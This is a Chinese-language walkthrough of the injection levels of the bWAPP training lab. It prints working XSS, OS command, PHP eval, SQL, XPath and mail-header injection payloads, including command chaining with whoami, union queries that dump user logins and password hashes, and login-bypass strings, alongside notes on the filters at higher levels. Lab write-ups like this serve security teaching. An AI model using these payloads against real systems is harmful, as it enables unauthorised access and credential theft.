BWAPP通关秘籍(1):A1 injection
- 1.HTML Injection - Reflected (GET)
- 1.1Low
- 1.2Medium
- 1.3High
- 2.HTML Injection - Reflected (POST)
- 2.1Low
- 2.2Medium
- 2.3High
- 3.HTML Injection - Reflected (URL)
- 3.1Low
- 3.2/3.3Medium/HIgh
- 4.HTML Injection - Stored (Blog)
- 4.1Low
- 4.2/4.3Medium/High
- 5.iFrame Injection
- 5.1Low
- 5.2Medium
- 5.3High
- 6. LDAP Injection(未开化)
- 7.Mail Header Injection (未开化)
- 8.OS Command Injection
- 8.1Low
- 8.2Medium
- 8.3High
- 9.OS Command Injection - Blind
- 9.1Low
- 9.2Medium
- 9.3High
- 10.PHP Code Injection
- 10.1Low
- 10.2Medium&&High
- 11.Server-Side Includes (SSI) Injection(未开化)
- 12.SQL Injection (GET/Search)
- 12.1Low(无过滤)
- 12.2Medium(部分过滤)
- 12.3 High(严格过滤)
- 13.SQL Injection (GET/Select)
- 13.1Low
- 13.2Medium
- 13.3High
- 14.SQL Injection (POST/Search)
- 15.SQL Injection (POST/Select)
- 16.SQL Injection (AJAX/JSON/jQuery)
- 17.SQL Injection (CAPTCHA)
- 18.SQL Injection (Login Form/Hero)
- 18.1Low
- 18.2Medium
- 18.3High
- 19.SQL Injection (Login Form/User)
- 19.1Low
- 20.Drupal SQL Injection (Drupageddon)
- 21.SQL Injection - Stored (Blog)
- 21.1Low
- 21.2Medium
- 21.3High
- 22.SQL Injection - Stored (User-Agent)
- 22.1Low
- 22.2Medium
- 22.3High
- 23.SQL Injection - Stored (XML)
- 23.1Low
- 23.2Medium
- 23.3High
- 24.SQL Injection - Blind - Boolean-Based
- 24.1Low
- 24.2Medium
- 24.3High
- 25.SQL Injection - Blind - Time-Based
- 25.1Low
- 25.2Medium
- 25.3High
- 26.XML/XPath Injection (Login Form)
- 26.1Low
- 26.2&&26.3:Medium和High
- 27.XML/XPath Injection (Search)
- 27.1Low
- 27.2&&27.3:Medium和High
- 免责声明:
1.HTML Injection - Reflected (GET)
1.1Low
低级别未对用户输入进行任何过滤,直接回显到页面中
故HTML
标签会被浏览器解析执行
Payload示例:
<script>alert('xss')</script>
1.2Medium
测试思路: 中级过滤了部分特殊字符(如
<、>
被转换为实体<、>
)
但服务器会先对输入进行URL
解码。可通过编码绕过过滤。
Payload示例:
URL
编码绕过:
原始Payload
:<script>alert(1)</script>
编码:%3Cscript%3Ealert(1)%3C/script%3E
服务器解码后恢复为有效HTML标签
1.3High
这里高级别关卡使用htmlspecialchars()
函数
将&, ", ', <, >
转换为HTML
实体,常规标签注入失效
其彻底转义了关键词
故无漏洞可利用
2.HTML Injection - Reflected (POST)
2.1Low
漏洞成因:
后端未对用户输入的POST
参数(如firstname
、lastname
)进行任何过滤或转义
直接输出到页面。
测试思路:直接注入
HTML
标签或JavaScript
代码
验证是否会被浏览器解析执行。
Payload
示例:
<script>alert("XSS");</script>
2.2Medium
漏洞成因:
后端对尖括号(<、>
)进行转义(转换为HTML
实体<
、>
)
但未完全覆盖所有注入场景。
测试思路:
尝试通过URL
编码绕过
Payload
示例:
- URL编码绕过:
%3Cscript%3Ealert(1)%3C/script%3E
2.3High
这里高级别关卡使用htmlspecialchars()
函数
将&, ", ', <, >
转换为HTML
实体,常规标签注入失效
其彻底转义了关键词
故无漏洞可利用
3.HTML Injection - Reflected (URL)
3.1Low
测试思路:
低级别未对用户输入进行任何过滤或转义
攻击者可直接通过BP抓包构造URL
参数注入HTML
代码
页面会直接解析并执行注入的标签。
Payload
示例:
?a=<script>alert(1)</script>
3.2/3.3Medium/HIgh
这两关查看源码得知当执行URL
时
网站会进行XSS
检测
故无漏洞可利用
ase
$url = "http://" .$ SERVER["HTTP HOST"].xss check 3($ SERVER["REQUEST URI"]);
break;
4.HTML Injection - Stored (Blog)
4.1Low
测试思路:
无任何输入过滤或转义
可直接注入原始HTML/JavaScript
代码。
Payload
示例:
<script>alert(1)</script>
4.2/4.3Medium/High
这两关查看源码得知当提交数据时
网站会进行XSS
和Sqli
检测
case "1":
$data= sqli check 3($link, $data);
// $data= xss check 4($data);
break;
case "2":
$data= sqli check 3($link, $data);
// $data= xss check 3($data);
break;
故无漏洞可利用
5.iFrame Injection
测试思路:
该关卡通过ParamUrl
、ParamWidth
、ParamHeight
三个参数控制iframe属性。核心漏洞点在于未过滤或过滤不严的ParamUrl
参数
攻击者可注入恶意URL
或脚本
5.1Low
本关无输入过滤
直接通过修改ParamUrl
参数注入恶意内容
Payload
示例
1.重定向到其他页面hh
?ParamUrl=http://www.4399.com/phishing.html&ParamWidth=250&ParamHeight=250
2.执行JavaScript
代码
利用javascript:
协议触发弹窗或窃取Cookie
5.2Medium
本关ParamUrl
参数使用addslashes()
函数转义引用类字符'
,"
,\
故不能从此处注入
需通过ParamWidth
或ParamHeight
注入
Payload
示例
?ParamUrl=robots.txt&ParamWidth=250"></iframe><script>alert(/250/)</script>&ParamHeight=250
5.3High
这里高级别关卡对所有参数使用htmlspecialchars()
函数
将&, ", ', <, >
转换为HTML
实体,常规注入失效
其彻底转义了关键词
故无漏洞可利用
6. LDAP Injection(未开化)
LDAP(全称
Lightweight Directory Access Protocol
,轻量目录访问协议)可以理解为一种“网络电话簿”或“信息索引库”,专门用来集中存储和快速查找各种结构化信息。它的核心特点是:结构像树状电话簿
信息以树形结构组织
比如根节点是公司名,往下分部门(OU),再具体到员工(CN)。每个条目都有唯一“姓名”(DN)和“昵称”(RDN),就像文件路径和文件名一样。
简单来说,LDAP就是一个高效、安全、跨平台的信息“导航站”,让企业或组织把零散的信息集中管理,用起来又快又方便。
7.Mail Header Injection (未开化)
Mail Header Injection
(邮件头注入)是一种安全漏洞,简单来说就是攻击者通过篡改邮件头部信息,让服务器发送他们想发的邮件。举个生活中的例子:就像你写了一封信想寄给朋友,但邮局工作人员却偷偷在信封上加了其他收件人地址,导致你的信被同时发给陌生人。
举个真实场景:假设你在一个网站留言“你好,这是我的邮箱
test@example.com
,但攻击者输入的是“test@example.com\nBCC:spam@attacker.com”
,服务器收到后会理解为两个头部信息,导致垃圾邮件被群发。
8.OS Command Injection
漏洞产生的原因是:应用程序未对用户输入进行过滤,直接将用户控制的参数拼接到了系统命令(如
shell_exec()
或nslookup
)中执行。例如,用户输入www.baidu.com & whoami
时,&
符号会分隔命令,导致攻击者可以注入任意系统命令。
8.1Low
- 特征:无任何过滤,用户输入直接拼接进命令。
- 测试思路:通过连接符(
&
、&&
、;
)注入多条命令。 - Payload示例:
www.baidu.com & whoami
(原理:DNS查询之后执行用户身份判断命令)
8.2Medium
- 特征:过滤了
&
、&&
、;
,但未过滤管道符|
或换行符\n
。 - 测试思路:尝试绕过过滤符,或利用未被过滤的符号。
- Payload示例:
www.baidu.com | pwd
:通过管道符显示当前目录。
8.3High
- 特征:使用
escapeshellcmd()
函数转义特殊符号,完全过滤连接符。 - 注:实际测试中,High级别完全防御成功,无法直接注入。
9.OS Command Injection - Blind
盲注(
Blind
)的特殊性在于:服务器不会返回命令执行的结果,攻击者只能通过其他方式判断命令是否成功执行(比如时间延迟)。
9.1Low
- 测试思路:直接在输入中拼接命令,观察反应时间延迟,看是否能执行。
- Payload:
127.0.0.1 & sleep 5
9.2Medium
- 测试思路:用管道符
|
绕过&
过滤,观察是否执行延迟函数 - Payload:
127.0.0.1 | sleep 5
9.3High
- 漏洞特征:使用
escapeshellcmd()
函数转义特殊符号,完全过滤连接符。 - 注:实际测试中,High级别完全防御成功,无法直接注入。
10.PHP Code Injection
该关卡的核心漏洞源于 PHP 的
eval()
函数未对用户输入进行过滤。当用户通过message
参数传递的字符串直接被
eval()
执行时,攻击者可注入任意 PHP 代码,从而控制服务器执行恶意操作。
10.1Low
测试思路:这里后端未对输入进行任何过滤,直接拼接代码执行。
Payload 示例:
- 构造URLpayload查看 PHP 配置信息:
?message=phpinfo();
- 执行系统命令:
(通过?message=shell_exec('ls');
ls
查看目录文件)
10.2Medium&&High
后端使用 htmlspecialchars()
函数处理输入,将 <
, >
, &
等字符转义为 HTML 实体(如 <
变为 <
),因此无法绕过
11.Server-Side Includes (SSI) Injection(未开化)
漏洞原理
Server-Side Includes (SSI)
注入漏洞允许攻击者通过在HTML文件中注入SSI指令来执行任意代码或命令。SSI
是一种简单的服务器端脚本语言,主要用于动态生成网页内容。当用户输入的数据被直接嵌入到页面中,并且服务器开启了SSI
支持时,就可能导致SSI
注入漏洞。
这里靶场默认Apache
不开启SSI
,故无法测试
12.SQL Injection (GET/Search)
漏洞原理
该关卡存在典型的 搜索型SQL注入漏洞。
用户输入的搜索关键词未经过滤直接拼接到SQL查询语句的WHERE
子句中,导致攻击者可通过构造恶意输入篡改查询逻辑。例如,原查询可能为:
SELECT * FROM movies WHERE title LIKE '%用户输入%'
若用户输入' OR 1=1 --
,则查询变为:
SELECT * FROM movies WHERE title LIKE '%' OR 1=1 -- %' # 1=1恒真,返回所有数据
通过此类注入可绕过正常查询逻辑,泄露数据或执行危险操作。
12.1Low(无过滤)
测试思路:这里使用单引号判断存在注入后,直接注入闭合原查询,利用联合查询(UNION)获取数据库信息。
用ORDER BY
确定字段数
a' order by 8#
这里遍历到8出现报错
故判断这里有7个字段
判断回显位
a' UNION SELECT 1,2,3,4,5,6,7#
故回显位为2,3,4,5
Payload示例:
a' UNION SELECT 1,version(),database(),user(),1,2,3#
在1,2,3字段处通过联合查询获取当前数据库名称、用户和版本信息。
a' UNION SELECT 1,login,password,4,5,6,7 FROM users# -- 获取账号密码(密码需MD5解密)
12.2Medium(部分过滤)
防御状态:本关使用了addslashes
函数转义单引号('
→ \'
)。
测试:这里利用宽字节注入尝试让单引号逃逸失败,待解决
12.3 High(严格过滤)
防御状态:使用mysql_real_escape_string
和参数化查询,有效防御常规注入,无漏洞可利用
13.SQL Injection (GET/Select)
漏洞原理 该关卡模拟通过URL参数(
GET
请求)传递用户输入的场景,例如电影名称选择框。后端未对用户输入进行过滤,直接将参数拼接到SQL查询中
13.1Low
这里在URL
参数后添加1 and 1=1 和 1 and 1=2
发现and 1=1
有回显and 1=2
无回显,此处为数字型注入
判断字段数
这里构造1 order by 7
和 1 order by 8
发现order by 7
有回显,order by 8
无回显
故字段数为7
判断回显位
构造1 and 1=2 UNION SELECT 1,2,3,4,5,6,7
得到回显位2 3 4 5
爆库名等敏感信息
构造1 and 1 =2 UNION SELECT 1,version(),database(),user(),1,2,3
获取账号密码
构造1 and 1 =2 UNION SELECT 1,login,password,4,5,6,7 FROM users
(密码需MD5解密)
13.2Medium
这里使用了addslashes
函数转义单引号
但是payload
用不上单引号
使用Low
级别的Payload
即可
13.3High
防御状态:使用mysql_real_escape_string
和参数化查询,有效防御常规注入,无漏洞可利用
14.SQL Injection (POST/Search)
同Get
关卡思路和payload
一致
15.SQL Injection (POST/Select)
同Get
关卡思路和payload
一致
16.SQL Injection (AJAX/JSON/jQuery)
1. AJAX的基本概念
- AJAX(异步JavaScript和XML):一种让网页无需刷新即可与服务器交换数据的技术。例如,搜索框输入时实时显示匹配结果,就是通过AJAX实现的。它的核心是浏览器通过
XMLHttpRequest
对象发送请求,并异步处理返回的数据。
2. jQuery的作用
- 简化AJAX操作:jQuery库提供
$.ajax()
、$.getJSON()
等方法,能快速实现AJAX请求。例如,该关卡中前端可能通过$.getJSON()
将用户输入的关键字发送到后端接口。- 动态渲染数据:后端返回的JSON数据会被jQuery解析并动态插入网页(如更新表格内容),用户看不到页面刷新,但数据已变化。
这关用的是jQuery
的getJSON
方法,即把用户输入的参数扔到sqli_10-2.php
里
测试思路和payload
同SQL Injection (GET/Search)
关卡
而基于AJAX
的功能
在输入框输入payload
的同时页面实时回显数据
无需按回车
17.SQL Injection (CAPTCHA)
这一关和前面的区别就是多了一道验证码罢了
输入验证码后直接注入,思路payload
和SQL Injection (GET/Search)
一样。
18.SQL Injection (Login Form/Hero)
漏洞原理
该关卡模拟登录表单的SQL注入漏洞,核心问题在于未对用户输入进行有效过滤,导致攻击者可以通过构造恶意输入修改SQL查询逻辑。例如,后台查询语句是:
SELECT * FROM users WHERE username='用户输入' AND password='用户输入'
攻击者通过在用户名或密码字段注入' OR '1'='1' --
等语句,使查询条件永真,绕过登录验证。
18.1Low
防护措施:无任何输入过滤。
攻击方法:
- 直接注入永真条件:
输入用户名:admin' OR '1'='1' --
,密码随意。
后台查询变为:SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='任意值'
绕过登录
- 联合查询获取数据:
这里还可通过UNION SELECT
爆数据库名、表名等,例如:
获取当前数据库名。admin' and 1 =2 UNION SELECT 1,database(),3,4 --
18.2Medium
本关使用addslashes()
进行转义单引号,尝试宽字节注入绕过失败
18.3High
high
级别使用mysql_real_escape_string()
函数将特殊字符转义,无法绕过
19.SQL Injection (Login Form/User)
19.1Low
本关是基于用户表的注入
这里尝试使用万能用户名登录失败
查看源码得知本关需要先进行用户名验证
用户名存在后才进行密码验证
// 密码处理
$password = password_hash(sqli($_POST['password']), PASSWORD_DEFAULT);// 数据库查询(PDO预处理)
$stmt = $pdo->prepare("SELECT login, password FROM users WHERE login = :login");
$stmt->execute([':login' => $login]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);// 用户认证
if ($user && password_verify($password, $user['password'])) {// 认证成功逻辑
} else {// 认证失败处理
}
故要想通过输入框回显内容
就得先知道用户名bee
通过用户名验证
紧接着进行密码验证
根据后台查询数据库
得知联合注入字段3对应输入密码password
又因为这里password
字段经过了哈希加密后存储到数据库中
故联合注入中payload
的字段3需要更改成3的哈希值
输入密码则填写3
使二者MD5值相匹配通过密码验证
最后两者通过验证后才能回显内容
用户构造
' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
输入密码=3
爆出回显位
则爆库可以构造
' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #
这里Medium
关卡使用addslashes()
函数进行单引号过滤
High
关卡使用mysql_real_escape_string(
函数进行防御
故无漏洞利用空间
20.Drupal SQL Injection (Drupageddon)
Drupal 7.x SQL注入漏洞原理
该漏洞(CVE-2014-3704)
本质是Drupal数据库抽象层对数组参数未正确过滤,导致攻击者可通过构造特殊数组参数执行恶意SQL语句。例如:通过expanded arguments
特性传递恶意参数。
由于这里需要使用bee-box
平台
故不做演示
21.SQL Injection - Stored (Blog)
这一关漏洞原理类同存储型
XSS
漏洞点位于博客内容提交功能中。
应用程序未对用户输入(如博客标题、内容)进行有效过滤,直接将用户输入拼接至INSERT
语句中。
先在输入框打一个'
判断此处存在注入
观察报错内容可以猜测后台涉及的sql
查询语句为
INSERT INTO blog_posts (title, content, author) VALUES ('$title', '$content', '$author');
尝试构造闭合语句成功
test','hack')#
21.1Low
防护措施:无过滤,直接拼接SQL语句。
Payload示例:
test',(select database())) #
作用:在插入博客内容时,新增一条记录在标题处泄露数据库名
还可以使用报错注入
构造如下
'or updatexml(1,oncat(0x7e,(select database()),0x7e),1)or'
得到库名
21.2Medium
防护措施:这关通过转义单引号(使用addslashes()
函数)进行防护,无绕过手段
21.3High
防护措施:这关通过mysql_real_escape_string()
预编译手段进行防护,无绕过手段
22.SQL Injection - Stored (User-Agent)
该关卡的核心漏洞是:未对用户的
User-Agent
进行有效过滤,导致攻击者可通过构造恶意User-Agent
触发存储型 SQL 注入。后端将User-Agent
直接拼接到 SQL 语句中,未使用预编译或严格的转义机制。
后端 SQL 语句:
INSERT INTO visitors (date, user_agent, ip_address)
VALUES (now(), '[USER_AGENT]', '[IP_ADDRESS]')
22.1Low
测试思路:抓包后直接注入恶意 User-Agent
,利用单引号闭合和注释符截断后续 SQL。
- Payload:
User-Agent: test', (select database()))#
- 解释:闭合原有单引号,插入子查询
select database()
,并用#
注释后续语句。 - 效果:数据库会执行
INSERT
语句,同时将当前数据库信息存储到user_agent
字段。最终在页面回显数据库名
22.2Medium
防护措施:这关通过转义单引号(使用addslashes()
函数)进行防护,无绕过手段
22.3High
防护措施:这关通过mysql_real_escape_string()
预编译手段进行防护,无绕过手段
23.SQL Injection - Stored (XML)
漏洞原理
漏洞源于后端未对用户输入的XML
数据做充分过滤,直接将XML
节点内容拼接到SQL语句中。
XML前置知识
XML结构:XML通过标签定义数据,如 <reset><login>bee</login></reset>
,login
节点内容会被后端解析。
后端的sql语句
由于页面出现Reset重置
猜测后端sql的作用是用于更新操作
故得到
UPDATE users SET secret = '$secret' WHERE login = '$login';
点击按钮后抓包
先在<login>
标签处打一个bee'
报错则判断存在注入
23.1Low
- 测试思路:点击抓包,通过
extractvalue()
函数报错注入得到库名 - Payload:
bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1
效果:直接泄露当前数据库名。
23.2Medium
防护措施:这关通过转义单引号(使用addslashes()
函数)进行防护,无绕过手段
23.3High
防护措施:这关通过mysql_real_escape_string()
预编译手段进行防护,无绕过手段
24.SQL Injection - Blind - Boolean-Based
这一关查询结果只会返回存在和不存在两种结果
故判断这里如果存在注入的话需要进行布尔盲注
先打一个单引号
报错则判断注入
因为是字符串
所以此处为字符型注入
24.1Low
判断数据库长度
iron man' and length(database())=5#
长度为5正常
iron man' and length(database())=6#
长度为6错误
故数据库长度为5
判断库名
以数据库首字母为例
iron man' AND SUBSTRING(DATABASE(),1,1)='b' #
首字母为b
页面正常
为其他字母时报错
判断库名第一个字母为b
以此类推得到库名为bWAPP
24.2Medium
防护措施:这级通过转义单引号(使用addslashes()
函数)进行防护,无绕过手段
24.3High
防护措施:这级通过mysql_real_escape_string()
预编译手段进行防护,无绕过手段
25.SQL Injection - Blind - Time-Based
这一关连查询结果是True还是False都不回显在页面上了
而是说通过email
通知
则这里尝试使用时间盲注
25.1Low
构造语句
Iron Man' and sleep(3) #
这里页面延迟3s回显
判断存在延时注入
爆库
构造iron man'and if(length((select database()))>4,sleep(5),1)#
页面延时回显
当长度大于5时正常回显
故数据库长度为5
构造iron man' and if(SUBSTRING(DATABASE(),1,1)='b',sleep(5),1)#
页面延时回显
得出数据库名首字母为b
以此类推出库名bWAPP
25.2Medium
防护措施:这级通过转义单引号(使用addslashes()
函数)进行防护,无绕过手段
25.3High
防护措施:这级通过mysql_real_escape_string()
预编译手段进行防护,无绕过手段
26.XML/XPath Injection (Login Form)
漏洞原理: 该关卡利用XPath注入漏洞,其原理与SQL注入类似。应用程序通过用户输入的用户名和密码动态拼接XPath查询语句,若未对输入做过滤,攻击者可通过闭合引号并插入恶意逻辑(如永真条件
1=1
)绕过身份验证。例如,原始查询可能为/heroes/hero[login='$user' and password='$pass']
,攻击者输入hack' or 1=1 or ''='
会导致查询逻辑变为始终为真,从而非法登录。
XML/XPath前置知识:
- XML:用于存储结构化数据,标签可自定义,常见于配置文件和数据传输。
- XPath:用于在XML文档中定位节点的查询语言,语法如
/root/node[@attr='value']
,支持逻辑运算符(and
/or
)和函数(如contains()
)。
在用户名输入框打一个'
发现报错xml
判断存在注入
26.1Low
- 思路:直接注入永真条件。
- Payload:
' or 1=1 or ''=' # 用户名或密码字段输入,闭合引号并添加永真逻辑,直接绕过登录
26.2&&26.3:Medium和High
查看后台代码可知这里对XPath的语法进行了严格的过滤
故不存在漏洞利用空间
function xmli_check_1($data) {// 替换危险字符:()='[]:,*/ 以及空白符$input = str_replace("(", "", $data);$input = str_replace(")", "", $input);$input = str_replace("=", "", $input);$input = str_replace("'", "", $input);$input = str_replace("[", "", $input);$input = str_replace("]", "", $input);$input = str_replace(":", "", $input);$input = str_replace(",", "", $input);$input = str_replace("*", "", $input);$input = str_replace("/", "", $input);$input = preg_replace('/\s+/', '', $input); // 移除所有空白符return $input;
}
27.XML/XPath Injection (Search)
漏洞原理
漏洞源于未对用户输入进行过滤,直接将用户控制的参数(如genre
)拼接到XPath查询语句中。攻击者通过闭合原始查询的单引号并注入恶意XPath语法,可绕过预期查询逻辑,访问或泄露XML文档中的敏感数据(如密码字段)。例如,原始查询为:
//hero[contains(genre, '$genre')]/movie
若用户输入horror')]/password | hack[contains(a,'
,最终查询变为:
//hero[contains(genre, 'horror')]/password | hack[contains(a,'')]/movie
这会联合返回password
字段和movie
字段内容,导致数据泄露。
这里在URL
的genre
参数处打一个’
发现报错
判断存在Xpath注入
27.1Low
特点:无任何输入过滤,直接拼接参数。
测试步骤:
Genre
参数构造永真条件泄露数据。
Payload示例:
action')] | //hero/password | hack[contains(a,'
效果:联合查询返回所有password
字段。
27.2&&27.3:Medium和High
查看后台代码可知这里对XPath的语法进行了严格的过滤
故不存在漏洞利用空间
function xmli_check_1($data) {// 替换危险字符:()='[]:,*/ 以及空白符$input = str_replace("(", "", $data);$input = str_replace(")", "", $input);$input = str_replace("=", "", $input);$input = str_replace("'", "", $input);$input = str_replace("[", "", $input);$input = str_replace("]", "", $input);$input = str_replace(":", "", $input);$input = str_replace(",", "", $input);$input = str_replace("*", "", $input);$input = str_replace("/", "", $input);$input = preg_replace('/\s+/', '', $input); // 移除所有空白符return $input;
}
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。